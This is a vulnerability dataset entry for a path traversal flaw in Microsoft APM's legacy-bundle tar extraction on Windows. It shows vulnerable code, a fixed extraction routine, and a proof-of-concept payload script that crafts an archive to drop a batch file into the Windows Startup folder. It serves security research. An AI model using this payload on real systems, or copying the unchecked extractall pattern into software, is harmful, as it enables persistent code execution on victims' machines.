CVE-2026-46383
Microsoft APM path traversal on Windows via crafted TAR archives.
- CVSS 5.5
- CWE-22
- Input Validation and Sanitization
- Local
Microsoft APM is an open-source, community-driven dependency manager for AI agents. Prior to 0.13.0, Microsoft APM contains a Windows-specific archive extraction boundary failure in the legacy-bundle probe used by apm install <bundle> on supported Python 3.10 and 3.11 runtimes. When apm install is given a local .tar.gz that is not recognized as a plugin-format bundle, APM probes whether it is a legacy –format apm bundle. On Python versions earlier than 3.12, that probe extracts untrusted tar members with raw tar.extractall() without rejecting Windows absolute member names such as D:/…. This vulnerability is fixed in 0.13.0.
- CWE
- CWE-22
- CVSS base score
- 5.5
- Published
- 2026-05-15
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Path Traversal
- Accessibility scope
- Local
- Impact
- Arbitrary Code Execution
- Affected component
- Microsoft AP
- Fixed by upgrading
- Yes
Solution
Upgrade Microsoft APM to version 0.13.0 or later.
Vulnerable code sample
import tarfile
import tempfile
def _is_not_a_plugin_bundle(archive_path):
# This is a placeholder for the check described in the CVE.
# We return True to force the vulnerable legacy probe path.
return True
def process_legacy_bundle_probe(local_tar_path):
"""
This function simulates the vulnerable probe for a legacy bundle.
It directly calls tar.extractall() without any path validation.
"""
with tempfile.TemporaryDirectory() as tmpdir:
with tarfile.open(local_tar_path, "r:gz") as tar:
# VULNERABLE CALL: On Python < 3.12, the tarfile module on Windows
# allows members with absolute paths (e.g., 'D:/path/to/file') to
# be extracted to that absolute path, ignoring the 'path' argument.
tar.extractall(path=tmpdir)
def apm_install(bundle_path):
"""
Simulates the top-level 'apm install <bundle>' command logic.
"""
if _is_not_a_plugin_bundle(bundle_path):
# If the bundle is not in a recognized modern format, the code
# falls back to the vulnerable probe for a legacy bundle.
process_legacy_bundle_probe(bundle_path)Patched code sample
import tarfile
import os
import io
def create_malicious_tar(filename="malicious.tar.gz", member_name="C:/windows/temp/pwned.txt"):
"""Creates a sample malicious tar.gz file for demonstration."""
tar_buffer = io.BytesIO()
with tarfile.open(fileobj=tar_buffer, mode="w:gz") as tar:
file_content = b"malicious content"
tarinfo = tarfile.TarInfo(name=member_name)
tarinfo.size = len(file_content)
tar.addfile(tarinfo, io.BytesIO(file_content))
with open(filename, "wb") as f:
f.write(tar_buffer.getvalue())
def safe_extract_archive(tar_path: str, destination_dir: str):
"""
Safely extracts a tar archive, preventing path traversal and absolute paths.
This represents the fix for the described vulnerability.
"""
# Resolve the destination directory to an absolute path to prevent ambiguity.
real_destination_dir = os.path.realpath(destination_dir)
with tarfile.open(tar_path, "r:*") as tar:
for member in tar.getmembers():
# Skip directories, they are created implicitly by file extraction.
if not member.isfile():
continue
# Build the full, potential destination path for the member.
member_dest_path = os.path.join(real_destination_dir, member.name)
# Resolve the real path of the member, collapsing any ".." or absolute paths.
real_member_dest_path = os.path.realpath(member_dest_path)
# THE FIX:
# Check if the resolved path of the member is within the intended
# destination directory. This prevents both absolute paths (e.g., "C:/...")
# and directory traversal attacks (e.g., "../...").
if os.path.commonpath([real_destination_dir, real_member_dest_path]) == real_destination_dir:
tar.extract(member, path=destination_dir)
else:
print(f"[SECURITY] Skipped potentially unsafe member: {member.name}")
if __name__ == '__main__':
# --- Demonstration ---
# 1. Define paths for the demonstration.
malicious_archive_name = "malicious_absolute_path.tar.gz"
safe_extraction_path = "safe_output"
# 2. Create a sample malicious archive with a Windows absolute path.
# This simulates the file that would trigger the vulnerability.
create_malicious_tar(
filename=malicious_archive_name,
member_name="C:/windows/temp/pwned_by_cve.txt"
)
# 3. Create the intended extraction directory if it doesn't exist.
os.makedirs(safe_extraction_path, exist_ok=True)
print(f"Attempting to extract '{malicious_archive_name}' into '{safe_extraction_path}'...")
# 4. Use the fixed (safe) extraction function.
safe_extract_archive(malicious_archive_name, safe_extraction_path)
print("\nExtraction finished.")
print(f"Check the contents of the '{safe_extraction_path}' directory.")
print("The malicious file should NOT have been written to C:/windows/temp.")
# Clean up created files
os.remove(malicious_archive_name)
if not os.listdir(safe_extraction_path):
os.rmdir(safe_extraction_path)Payload
import tarfile
import io
archive_name = "malicious.tar.gz"
# This absolute path targets the All Users Startup folder on Windows.
malicious_path = "C:/ProgramData/Microsoft/Windows/Start Menu/Programs/StartUp/poc.bat"
# The content is a simple batch script to demonstrate execution.
payload_content = b'@echo off\r\nstart calc.exe\r\n'
tar_info = tarfile.TarInfo(name=malicious_path)
tar_info.size = len(payload_content)
with tarfile.open(archive_name, "w:gz") as tar:
tar.addfile(tarinfo=tar_info, fileobj=io.BytesIO(payload_content))
Cite this entry
@misc{vaitp:cve202646383,
title = {{Microsoft APM path traversal on Windows via crafted TAR archives.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-46383},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-46383/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
